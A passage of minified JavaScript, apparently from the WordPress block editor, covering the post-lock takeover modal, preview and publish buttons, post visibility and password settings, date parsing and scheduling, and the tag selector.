window.FormData;if(e.append("action","wp-remove-post-lock"),e.append("_wpnonce",a.unlockNonce),e.append("post_ID",r),e.append("active_post_lock",l),window.navigator.sendBeacon)window.navigator.sendBeacon(a.ajaxUrl,e);else{const t=new window.XMLHttpRequest;t.open("POST",a.ajaxUrl,!1),t.send(e)}}return(0,m.addAction)("heartbeat.send",e,(function(e){o||(e["wp-refresh-post-lock"]={lock:l,post_id:r})})),(0,m.addAction)("heartbeat.tick",e,(function(e){if(!e["wp-refresh-post-lock"])return;const o=e["wp-refresh-post-lock"];o.lock_error?(t(),s({isLocked:!0,isTakeover:!0,user:{name:o.lock_error.name,avatar:o.lock_error.avatar_src_2x}})):o.new_lock&&s({isLocked:!1,activePostLock:o.new_lock})})),window.addEventListener("beforeunload",n),()=>{(0,m.removeAction)("heartbeat.send",e),(0,m.removeAction)("heartbeat.tick",e),window.removeEventListener("beforeunload",n)}}),[]),!o)return null;const _=i.name,f=i.avatar,b=(0,v.addQueryArgs)("post.php",{"get-post-lock":"1",lockKey:!0,post:r,action:"edit",_wpnonce:a.nonce}),y=(0,v.addQueryArgs)("edit.php",{post_type:h?.slug}),x=(0,fs.__)("Exit editor");return(0,L.jsx)(Uo.Modal,{title:n?(0,fs.__)("Someone else has taken over this post"):(0,fs.__)("This post is already being edited"),focusOnMount:!0,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,isDismissible:!1,className:"editor-post-locked-modal",size:"medium",children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"top",spacing:6,children:[!!f&&(0,L.jsx)("img",{src:f,alt:(0,fs.__)("Avatar"),className:"editor-post-locked-modal__avatar",width:64,height:64}),(0,L.jsxs)("div",{children:[!!n&&(0,L.jsx)("p",{children:(0,u.createInterpolateElement)(_?(0,fs.sprintf)((0,fs.__)("<strong>%s</strong> now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved."),_):(0,fs.__)("Another user now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved."),{strong:(0,L.jsx)("strong",{}),PreviewLink:(0,L.jsx)(Uo.ExternalLink,{href:g,children:(0,fs.__)("preview")})})}),!n&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("p",{children:(0,u.createInterpolateElement)(_?(0,fs.sprintf)((0,fs.__)("<strong>%s</strong> is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."),_):(0,fs.__)("Another user is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."),{strong:(0,L.jsx)("strong",{}),PreviewLink:(0,L.jsx)(Uo.ExternalLink,{href:g,children:(0,fs.__)("preview")})})}),(0,L.jsx)("p",{children:(0,fs.__)("If you take over, the other user will lose editing control to the post, but their changes will be saved.")})]}),(0,L.jsxs)(Uo.__experimentalHStack,{className:"editor-post-locked-modal__buttons",justify:"flex-end",children:[!n&&(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",href:b,children:(0,fs.__)("Take over")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",href:y,children:x})]})]})]})})}const Op=function({children:e}){const{hasPublishAction:t,isPublished:s}=(0,c.useSelect)((e=>{var t;const{isCurrentPostPublished:s,getCurrentPost:o}=e(Ac);return{hasPublishAction:null!==(t=o()._links?.["wp:action-publish"])&&void 0!==t&&t,isPublished:s()}}),[]);return s||!t?null:e};const Fp=function(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostAttribute("status")),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Op,{children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)("Pending review"),checked:"pending"===e,onChange:()=>{t({status:"pending"===e?"draft":"pending"})}})})};function Vp({className:e,textContent:t,forceIsAutosaveable:s,role:o,onPreview:n}){const{postId:i,currentPostLink:r,previewLink:a,isSaveable:l,isViewable:p}=(0,c.useSelect)((e=>{var t;const s=e(Ac),o=e(d.store).getPostType(s.getCurrentPostType("type")),n=null!==(t=o?.viewable)&&void 0!==t&&t;return n?{postId:s.getCurrentPostId(),currentPostLink:s.getCurrentPostAttribute("link"),previewLink:s.getEditedPostPreviewLink(),isSaveable:s.isEditedPostSaveable(),isViewable:n}:{isViewable:n}}),[]),{__unstableSaveForPreview:h}=(0,c.useDispatch)(Ac);if(!p)return null;const g=`wp-preview-${i}`,_=a||r;return(0,L.jsx)(Uo.Button,{variant:e?void 0:"tertiary",className:e||"editor-post-preview",href:_,target:g,accessibleWhenDisabled:!0,disabled:!l,onClick:async e=>{e.preventDefault();const t=window.open("",g);t.focus(),function(e){let t=(0,u.renderToString)((0,L.jsxs)("div",{className:"editor-post-preview-button__interstitial-message",children:[(0,L.jsxs)(Uo.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 96 96",children:[(0,L.jsx)(Uo.Path,{className:"outer",d:"M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36",fill:"none"}),(0,L.jsx)(Uo.Path,{className:"inner",d:"M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z",fill:"none"})]}),(0,L.jsx)("p",{children:(0,fs.__)("Generating preview…")})]}));t+='\n\t\t<style>\n\t\t\tbody {\n\t\t\t\tmargin: 0;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message {\n\t\t\t\tdisplay: flex;\n\t\t\t\tflex-direction: column;\n\t\t\t\talign-items: center;\n\t\t\t\tjustify-content: center;\n\t\t\t\theight: 100vh;\n\t\t\t\twidth: 100vw;\n\t\t\t}\n\t\t\t@-webkit-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-moz-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@-o-keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t@keyframes paint {\n\t\t\t\t0% {\n\t\t\t\t\tstroke-dashoffset: 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg {\n\t\t\t\twidth: 192px;\n\t\t\t\theight: 192px;\n\t\t\t\tstroke: #555d66;\n\t\t\t\tstroke-width: 0.75;\n\t\t\t}\n\t\t\t.editor-post-preview-button__interstitial-message svg .outer,\n\t\t\t.editor-post-preview-button__interstitial-message svg .inner {\n\t\t\t\tstroke-dasharray: 280;\n\t\t\t\tstroke-dashoffset: 280;\n\t\t\t\t-webkit-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-moz-animation: paint 1.5s ease infinite alternate;\n\t\t\t\t-o-animation: paint 1.5s ease infinite alternate;\n\t\t\t\tanimation: paint 1.5s ease infinite alternate;\n\t\t\t}\n\t\t\tp {\n\t\t\t\ttext-align: center;\n\t\t\t\tfont-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;\n\t\t\t}\n\t\t</style>\n\t',t=(0,m.applyFilters)("editor.PostPreview.interstitialMarkup",t),e.write(t),e.title=(0,fs.__)("Generating preview…"),e.close()}(t.document);const o=await h({forceIsAutosaveable:s});t.location=o,n?.()},role:o,size:"compact",children:t||(0,L.jsxs)(L.Fragment,{children:[(0,fs._x)("Preview","imperative verb"),(0,L.jsx)(Uo.VisuallyHidden,{as:"span",children:(0,fs.__)("(opens in a new tab)")})]})})}function zp(){const e=(0,p.useViewportMatch)("medium","<"),{isPublished:t,isBeingScheduled:s,isSaving:o,isPublishing:n,hasPublishAction:i,isAutosaving:r,hasNonPostEntityChanges:a,postStatusHasChanged:l,postStatus:d}=(0,c.useSelect)((e=>{var t;const{isCurrentPostPublished:s,isEditedPostBeingScheduled:o,isSavingPost:n,isPublishingPost:i,getCurrentPost:r,getCurrentPostType:a,isAutosavingPost:l,getPostEdits:c,getEditedPostAttribute:d}=e(Ac);return{isPublished:s(),isBeingScheduled:o(),isSaving:n(),isPublishing:i(),hasPublishAction:null!==(t=r()._links?.["wp:action-publish"])&&void 0!==t&&t,postType:a(),isAutosaving:l(),hasNonPostEntityChanges:e(Ac).hasNonPostEntityChanges(),postStatusHasChanged:!!c()?.status,postStatus:d("status")}}),[]);return n?(0,fs.__)("Publishing…"):(t||s)&&o&&!r?(0,fs.__)("Saving…"):i?a||t||l&&!["future","publish"].includes(d)||!l&&"future"===d?(0,fs.__)("Save"):s?(0,fs.__)("Schedule"):(0,fs.__)("Publish"):e?(0,fs.__)("Publish"):(0,fs.__)("Submit for Review")}const Up=()=>{};class Hp extends u.Component{constructor(e){super(e),this.createOnClick=this.createOnClick.bind(this),this.closeEntitiesSavedStates=this.closeEntitiesSavedStates.bind(this),this.state={entitiesSavedStatesCallback:!1}}createOnClick(e){return(...t)=>{const{hasNonPostEntityChanges:s,setEntitiesSavedStatesCallback:o}=this.props;return s&&o?(this.setState({entitiesSavedStatesCallback:()=>e(...t)}),o((()=>this.closeEntitiesSavedStates)),Up):e(...t)}}closeEntitiesSavedStates(e){const{postType:t,postId:s}=this.props,{entitiesSavedStatesCallback:o}=this.state;this.setState({entitiesSavedStatesCallback:!1},(()=>{e&&e.some((e=>"postType"===e.kind&&e.name===t&&e.key===s))&&o()}))}render(){const{forceIsDirty:e,hasPublishAction:t,isBeingScheduled:s,isOpen:o,isPostSavingLocked:n,isPublishable:i,isPublished:r,isSaveable:a,isSaving:l,isAutoSaving:c,isToggle:d,savePostStatus:u,onSubmit:p=Up,onToggle:m,visibility:h,hasNonPostEntityChanges:g,isSavingNonPostEntityChanges:_,postStatus:f,postStatusHasChanged:b}=this.props,y=(l||!a||n||!i&&!e)&&(!g||_),x=(r||l||!a||!i&&!e)&&(!g||_);let v="publish";b?v=f:t?"private"===h?v="private":s&&(v="future"):v="pending";const S={"aria-disabled":y,className:"editor-post-publish-button",isBusy:!c&&l,variant:"primary",onClick:this.createOnClick((()=>{y||(p(),u(v))})),"aria-haspopup":g?"dialog":void 0},w={"aria-disabled":x,"aria-expanded":o,className:"editor-post-publish-panel__toggle",isBusy:l&&r,variant:"primary",size:"compact",onClick:this.createOnClick((()=>{x||m()})),"aria-haspopup":g?"dialog":void 0},k=d?w:S;return(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.Button,{...k,className:`${k.className} editor-post-publish-button__button`,size:"compact",children:(0,L.jsx)(zp,{})})})}}const Gp=(0,p.compose)([(0,c.withSelect)((e=>{var t;const{isSavingPost:s,isAutosavingPost:o,isEditedPostBeingScheduled:n,getEditedPostVisibility:i,isCurrentPostPublished:r,isEditedPostSaveable:a,isEditedPostPublishable:l,isPostSavingLocked:c,getCurrentPost:d,getCurrentPostType:u,getCurrentPostId:p,hasNonPostEntityChanges:m,isSavingNonPostEntityChanges:h,getEditedPostAttribute:g,getPostEdits:_}=e(Ac);return{isSaving:s(),isAutoSaving:o(),isBeingScheduled:n(),visibility:i(),isSaveable:a(),isPostSavingLocked:c(),isPublishable:l(),isPublished:r(),hasPublishAction:null!==(t=d()._links?.["wp:action-publish"])&&void 0!==t&&t,postType:u(),postId:p(),postStatus:g("status"),postStatusHasChanged:_()?.status,hasNonPostEntityChanges:m(),isSavingNonPostEntityChanges:h()}})),(0,c.withDispatch)((e=>{const{editPost:t,savePost:s}=e(Ac);return{savePostStatus:e=>{t({status:e},{undoIgnore:!0}),s()}}}))])(Hp),$p=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24",children:(0,L.jsx)(M.Path,{d:"M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"})}),Wp={public:{label:(0,fs.__)("Public"),info:(0,fs.__)("Visible to everyone.")},private:{label:(0,fs.__)("Private"),info:(0,fs.__)("Only visible to site admins and editors.")},password:{label:(0,fs.__)("Password protected"),info:(0,fs.__)("Only those with the password can view this post.")}};function Zp({onClose:e}){const t=(0,p.useInstanceId)(Zp),{status:s,visibility:o,password:n}=(0,c.useSelect)((e=>({status:e(Ac).getEditedPostAttribute("status"),visibility:e(Ac).getEditedPostVisibility(),password:e(Ac).getEditedPostAttribute("password")}))),{editPost:i,savePost:r}=(0,c.useDispatch)(Ac),[a,l]=(0,u.useState)(!!n),[d,m]=(0,u.useState)(!1);return(0,L.jsxs)("div",{className:"editor-post-visibility",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Visibility"),help:(0,fs.__)("Control how this post is viewed."),onClose:e}),(0,L.jsxs)("fieldset",{className:"editor-post-visibility__fieldset",children:[(0,L.jsx)(Uo.VisuallyHidden,{as:"legend",children:(0,fs.__)("Visibility")}),(0,L.jsx)(Yp,{instanceId:t,value:"public",label:Wp.public.label,info:Wp.public.info,checked:"public"===o&&!a,onChange:()=>{i({status:"private"===o?"draft":s,password:""}),l(!1)}}),(0,L.jsx)(Yp,{instanceId:t,value:"private",label:Wp.private.label,info:Wp.private.info,checked:"private"===o,onChange:()=>{m(!0)}}),(0,L.jsx)(Yp,{instanceId:t,value:"password",label:Wp.password.label,info:Wp.password.info,checked:a,onChange:()=>{i({status:"private"===o?"draft":s,password:n||""}),l(!0)}}),a&&(0,L.jsxs)("div",{className:"editor-post-visibility__password",children:[(0,L.jsx)(Uo.VisuallyHidden,{as:"label",htmlFor:`editor-post-visibility__password-input-${t}`,children:(0,fs.__)("Create password")}),(0,L.jsx)("input",{className:"editor-post-visibility__password-input",id:`editor-post-visibility__password-input-${t}`,type:"text",onChange:e=>{i({password:e.target.value})},value:n,placeholder:(0,fs.__)("Use a secure password")})]})]}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:d,onConfirm:()=>{i({status:"private",password:""}),l(!1),m(!1),r()},onCancel:()=>{m(!1)},confirmButtonText:(0,fs.__)("Publish"),size:"medium",children:(0,fs.__)("Would you like to privately publish this post now?")})]})}function Yp({instanceId:e,value:t,label:s,info:o,...n}){return(0,L.jsxs)("div",{className:"editor-post-visibility__choice",children:[(0,L.jsx)("input",{type:"radio",name:`editor-post-visibility__setting-${e}`,value:t,id:`editor-post-${t}-${e}`,"aria-describedby":`editor-post-${t}-${e}-description`,className:"editor-post-visibility__radio",...n}),(0,L.jsx)("label",{htmlFor:`editor-post-${t}-${e}`,className:"editor-post-visibility__label",children:s}),(0,L.jsx)("p",{id:`editor-post-${t}-${e}-description`,className:"editor-post-visibility__info",children:o})]})}function Kp(){return qp()}function qp(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostVisibility()));return Wp[e]?.label}function Qp(e){const t=Object.prototype.toString.call(e);return e instanceof Date||"object"==typeof e&&"[object Date]"===t?new e.constructor(+e):"number"==typeof e||"[object Number]"===t||"string"==typeof e||"[object String]"===t?new Date(e):new Date(NaN)}function Xp(e){const t=Qp(e);return t.setDate(1),t.setHours(0,0,0,0),t}function Jp(e){const t=Qp(e),s=t.getMonth();return t.setFullYear(t.getFullYear(),s+1,0),t.setHours(23,59,59,999),t}Math.pow(10,8);const em=6e4,tm=36e5;function sm(e,t){const s=t?.additionalDigits??2,o=function(e){const t={},s=e.split(om.dateTimeDelimiter);let o;if(s.length>2)return t;/:/.test(s[0])?o=s[0]:(t.date=s[0],o=s[1],om.timeZoneDelimiter.test(t.date)&&(t.date=e.split(om.timeZoneDelimiter)[0],o=e.substr(t.date.length,e.length)));if(o){const e=om.timezone.exec(o);e?(t.time=o.replace(e[1],""),t.timezone=e[1]):t.time=o}return t}(e);let n;if(o.date){const e=function(e,t){const s=new RegExp("^(?:(\\d{4}|[+-]\\d{"+(4+t)+"})|(\\d{2}|[+-]\\d{"+(2+t)+"})$)"),o=e.match(s);if(!o)return{year:NaN,restDateString:""};const n=o[1]?parseInt(o[1]):null,i=o[2]?parseInt(o[2]):null;return{year:null===i?n:100*i,restDateString:e.slice((o[1]||o[2]).length)}}(o.date,s);n=function(e,t){if(null===t)return new Date(NaN);const s=e.match(nm);if(!s)return new Date(NaN);const o=!!s[4],n=am(s[1]),i=am(s[2])-1,r=am(s[3]),a=am(s[4]),l=am(s[5])-1;if(o)return function(e,t,s){return t>=1&&t<=53&&s>=0&&s<=6}(0,a,l)?function(e,t,s){const o=new Date(0);o.setUTCFullYear(e,0,4);const n=o.getUTCDay()||7,i=7*(t-1)+s+1-n;return o.setUTCDate(o.getUTCDate()+i),o}(t,a,l):new Date(NaN);{const e=new Date(0);return function(e,t,s){return t>=0&&t<=11&&s>=1&&s<=(cm[t]||(dm(e)?29:28))}(t,i,r)&&function(e,t){return t>=1&&t<=(dm(e)?366:365)}(t,n)?(e.setUTCFullYear(t,i,Math.max(n,r)),e):new Date(NaN)}}(e.restDateString,e.year)}if(!n||isNaN(n.getTime()))return new Date(NaN);const i=n.getTime();let r,a=0;if(o.time&&(a=function(e){const t=e.match(im);if(!t)return NaN;const s=lm(t[1]),o=lm(t[2]),n=lm(t[3]);if(!function(e,t,s){if(24===e)return 0===t&&0===s;return s>=0&&s<60&&t>=0&&t<60&&e>=0&&e<25}(s,o,n))return NaN;return s*tm+o*em+1e3*n}(o.time),isNaN(a)))return new Date(NaN);if(!o.timezone){const e=new Date(i+a),t=new Date(0);return t.setFullYear(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()),t.setHours(e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()),t}return r=function(e){if("Z"===e)return 0;const t=e.match(rm);if(!t)return 0;const s="+"===t[1]?-1:1,o=parseInt(t[2]),n=t[3]&&parseInt(t[3])||0;if(!function(e,t){return t>=0&&t<=59}(0,n))return NaN;return s*(o*tm+n*em)}(o.timezone),isNaN(r)?new Date(NaN):new Date(i+a+r)}const om={dateTimeDelimiter:/[T ]/,timeZoneDelimiter:/[Z ]/i,timezone:/([Z+-].*)$/},nm=/^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/,im=/^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/,rm=/^([+-])(\d{2})(?::?(\d{2}))?$/;function am(e){return e?parseInt(e):1}function lm(e){return e&&parseFloat(e.replace(",","."))||0}const cm=[31,null,31,30,31,30,31,31,30,31,30,31];function dm(e){return e%400==0||e%4==0&&e%100!=0}const{PrivatePublishDateTimePicker:um}=$(h.privateApis);function pm(e){return(0,L.jsx)(mm,{...e,showPopoverHeaderActions:!0,isCompact:!1})}function mm({onClose:e,showPopoverHeaderActions:t,isCompact:s}){const{postDate:o,postType:n}=(0,c.useSelect)((e=>({postDate:e(Ac).getEditedPostAttribute("date"),postType:e(Ac).getCurrentPostType()})),[]),{editPost:i}=(0,c.useDispatch)(Ac),[r,a]=(0,u.useState)(Xp(new Date(o))),l=(0,c.useSelect)((e=>e(d.store).getEntityRecords("postType",n,{status:"publish,future",after:Xp(r).toISOString(),before:Jp(r).toISOString(),exclude:[e(Ac).getCurrentPostId()],per_page:100,_fields:"id,date"})),[r,n]),p=(0,u.useMemo)((()=>(l||[]).map((({date:e})=>({date:new Date(e)})))),[l]),m=(0,x.getSettings)(),h=/a(?!\\)/i.test(m.formats.time.toLowerCase().replace(/\\\\/g,"").split("").reverse().join(""));return(0,L.jsx)(um,{currentDate:o,onChange:e=>i({date:e}),is12Hour:h,dateOrder:(0,fs._x)("dmy","date order"),events:p,onMonthPreviewed:e=>a(sm(e)),onClose:e,isCompact:s,showPopoverHeaderActions:t})}function hm(e){return gm(e)}function gm({full:e=!1}={}){const{date:t,isFloating:s}=(0,c.useSelect)((e=>({date:e(Ac).getEditedPostAttribute("date"),isFloating:e(Ac).isEditedPostDateFloating()})),[]);return e?_m(t):function(e,{isFloating:t=!1,now:s=new Date}={}){if(!e||t)return(0,fs.__)("Immediately");if(!function(e){const{timezone:t}=(0,x.getSettings)(),s=Number(t.offset),o=e.getTimezoneOffset()/60*-1;return s===o}(s))return _m(e);const o=(0,x.getDate)(e);if(fm(o,s))return(0,fs.sprintf)((0,fs.__)("Today at %s"),(0,x.dateI18n)((0,fs._x)("g:i a","post schedule time format"),o));const n=new Date(s);if(n.setDate(n.getDate()+1),fm(o,n))return(0,fs.sprintf)((0,fs.__)("Tomorrow at %s"),(0,x.dateI18n)((0,fs._x)("g:i a","post schedule time format"),o));if(o.getFullYear()===s.getFullYear())return(0,x.dateI18n)((0,fs._x)("F j g:i a","post schedule date format without year"),o);return(0,x.dateI18n)((0,fs._x)("F j, Y g:i a","post schedule full date format"),o)}(t,{isFloating:s})}function _m(e){const t=(0,x.getDate)(e),s=function(){const{timezone:e}=(0,x.getSettings)();if(e.abbr&&isNaN(Number(e.abbr)))return e.abbr;const t=e.offset<0?"":"+";return`UTC${t}${e.offsetFormatted}`}(),o=(0,x.dateI18n)((0,fs._x)("F j, Y g:i a","post schedule full date format"),t);return(0,fs.isRTL)()?`${s} ${o}`:`${o} ${s}`}function fm(e,t){return e.getDate()===t.getDate()&&e.getMonth()===t.getMonth()&&e.getFullYear()===t.getFullYear()}const bm=3,ym={per_page:10,orderby:"count",order:"desc",hide_empty:!0,_fields:"id,name,count",context:"view"};function xm({onSelect:e,taxonomy:t}){const{_terms:s,showTerms:o}=(0,c.useSelect)((e=>{const s=e(d.store).getEntityRecords("taxonomy",t.slug,ym);return{_terms:s,showTerms:s?.length>=bm}}),[t.slug]);if(!o)return null;const n=$d(s);return(0,L.jsxs)("div",{className:"editor-post-taxonomies__flat-term-most-used",children:[(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:"h3",className:"editor-post-taxonomies__flat-term-most-used-label",children:t.labels.most_used}),(0,L.jsx)("ul",{role:"list",className:"editor-post-taxonomies__flat-term-most-used-list",children:n.map((t=>(0,L.jsx)("li",{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"link",onClick:()=>e(t),children:t.name})},t.id)))})]})}const vm=[],Sm=100,wm={per_page:Sm,_fields:"id,name",context:"view"},km=(e,t)=>Hd(e).toLowerCase()===Hd(t).toLowerCase(),Cm=(e,t)=>e.map((e=>t.find((t=>km(t.name,e)))?.id)).filter((e=>void 0!==e)),Pm=({children:e,__nextHasNoMarginBottom:t})=>t?(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:e}):(0,L.jsx)(u.Fragment,{children:e});function jm({slug:e,__nextHasNoMarginBottom:t}){var s,o;const[n,i]=(0,u.useState)([]),[r,a]=(0,u.useState)(""),l=(0,p.useDebounce)(a,500);t||w()("Bottom margin styles for wp.editor.PostTaxonomiesFlatTermSelector",{since:"6.7",version:"7.0",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version."});const{terms:m,termIds:h,taxonomy:g,hasAssignAction:_,hasCreateAction:f,hasResolvedTerms:b}=(0,c.useSelect)((t=>{var s,o;const{getCurrentPost:n,getEditedPostAttribute:i}=t(Ac),{getEntityRecords:r,getEntityRecord:a,hasFinishedResolution:l}=t(d.store),c=n(),u=a("root","taxonomy",e),p=u?i(u.rest_base):vm,m={...wm,include:p?.join(","),per_page:-1};return{hasCreateAction:!!u&&(null!==(s=c._links?.["wp:action-create-"+u.rest_base])&&void 0!==s&&s),hasAssignAction:!!u&&(null!==(o=c._links?.["wp:action-assign-"+u.rest_base])&&void 0!==o&&o),taxonomy:u,termIds:p,terms:p?.length?r("taxonomy",e,m):vm,hasResolvedTerms:l("getEntityRecords",["taxonomy",e,m])}}),[e]),{searchResults:y}=(0,c.useSelect)((t=>{const{getEntityRecords:s}=t(d.store);return{searchResults:r?s("taxonomy",e,{...wm,search:r}):vm}}),[r,e]);(0,u.useEffect)((()=>{if(b){const e=(null!=m?m:[]).map((e=>Hd(e.name)));i(e)}}),[m,b]);const x=(0,u.useMemo)((()=>(null!=y?y:[]).map((e=>Hd(e.name)))),[y]),{editPost:v}=(0,c.useDispatch)(Ac),{saveEntityRecord:S}=(0,c.useDispatch)(d.store),{createErrorNotice:k}=(0,c.useDispatch)(_s.store);if(!_)return null;function C(e){v({[g.rest_base]:e})}const P=null!==(s=g?.labels?.add_new_item)&&void 0!==s?s:"post_tag"===e?(0,fs.__)("Add new tag"):(0,fs.__)("Add new Term"),j=null!==(o=g?.labels?.singular_name)&&void 0!==o?o:"post_tag"===e?(0,fs.__)("Tag"):(0,fs.__)("Term"),E=(0,fs.sprintf)((0,fs._x)("%s added","term"),j),T=(0,fs.sprintf)((0,fs._x)("%s removed","term"),j),B=(0,fs.sprintf)((0,fs._x)("Remove %s","term"),j);return(0,L.jsxs)(Pm,{__nextHasNoMarginBottom:t,children:[(0,L.jsx)(Uo.FormTokenField,{__next40pxDefaultSize:!0,value:n,suggestions:x,onChange:function(t){const s=[...null!=m?m:[],...null!=y?y:[]],o=t.reduce(((e,t)=>(e.some((e=>e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]),n=o.filter((e=>!s.find((t=>km(t.name,e)))));i(o),0!==n.length?f&&Promise.all(n.map((t=>async function(t){try{const s=await S("taxonomy",e,t,{throwOnError:!0});return Gd(s)}catch(e){if("term_exists"!==e.code)throw e;return{id:e.data.term_id,name:t.name}}}({name:t})))).then((e=>{const t=s.concat(e);C(Cm(o,t))})).catch((e=>{k(e.message,{type:"snackbar"}),C(Cm(o,s))})):C(Cm(o,s))},onInputChange:l,maxSuggestions:Sm,label:P,messages:{added:E,removed:T,remove:B},__nextHasNoMarginBottom:t}),(0,L.jsx)(xm,{taxonomy:g,onSelect:function(t){var s;if(h.includes(t.id))return;const o=[...h,t.id],n="post_tag"===e?(0,fs.__)("Tag"):(0,fs.__)("Term"),i=(0,fs.sprintf)((0,fs._x)("%s added","term"),null!==(s=g?.labels?.singular_name)&&void 0!==s?s:n);(0,ms.speak)(i,"assertive"),C(o)}})]})}const Em=(0,Uo.withFilters)("editor.PostTaxonomyType")(jm),Tm=()=>{const e=[(0,fs.__)("Suggestion:"),(0,L.jsx)("span",{className:"editor-post-publish-panel__link",children:(0,fs.__)("Add tags")},"label")];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:e,children:[(0,L.jsx)("p",{children:(0,fs.__)("Tags help users and search engines navigate your site and find your content. Add a few keywords to describe your post.")}),(0,L.jsx)(Em,{slug:"post_tag",__nextHasNoMarginBottom:!0})]})},Bm=()=>{const{hasTags:e,isPostTypeSupported:t}=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPostType(),s=e(d.store).getEntityRecord("root","taxonomy","post_tag"),o=s?.types?.includes(t),n=void 0!==s,i=s&&e(Ac).getEditedPostAttribute(s.rest_base);return{hasTags:!!i?.length,isPostTypeSupported:n&&o}}),[]),[s]=(0,u.useState)(e);return t?s?null:(0,L.jsx)(Tm,{}):null},Im=(e,t)=>Bp.filter((t=>e?.includes(t.id))).find((e=>e.id===t)),Nm=({suggestedPostFormat:e,suggestionText:t,onUpdatePostFormat:s})=>(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"link",onClick:()=>s(e),children:t});function Dm(){const{currentPostFormat:e,suggestion:t}=(0,c.useSelect)((e=>{var t;const{getEditedPostAttribute:s,getSuggestedPostFormat:o}=e(Ac),n=null!==(t=e(d.store).getThemeSupports().formats)&&void 